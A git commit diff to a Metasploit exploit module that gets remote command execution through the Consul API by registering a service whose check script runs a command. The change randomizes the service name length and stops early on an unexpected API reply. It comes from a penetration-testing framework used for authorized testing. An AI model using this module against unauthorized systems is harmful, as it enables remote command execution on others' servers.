Bail early if we receive an unexpected response.

GSoC/Meterpreter_Web_Console
Quentin Kaiser 2018-12-18 19:42:26 +01:00
parent 4ee7bdee6c
commit ef8601aa71
1 changed files with 4 additions and 3 deletions

View File

@ -78,7 +78,7 @@ class MetasploitModule < Msf::Exploit::Remote
def execute_command(cmd, opts = {})
uri = target_uri.path
service_name = Rex::Text.rand_text_alpha(5)
service_name = Rex::Text.rand_text_alpha(5..10)
print_status("Creating service '#{service_name}'")
# NOTE: Timeout defines how much time the check script will run until
@ -102,9 +102,10 @@ class MetasploitModule < Msf::Exploit::Remote
}
}.to_json
})
if res and res.code == 200
print_status("Service '#{service_name}' successfully created.")
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Consul API.')
end
print_status("Service '#{service_name}' successfully created.")
print_status("Waiting for service '#{service_name}' script to trigger")
sleep(12)
print_status("Removing service '#{service_name}'")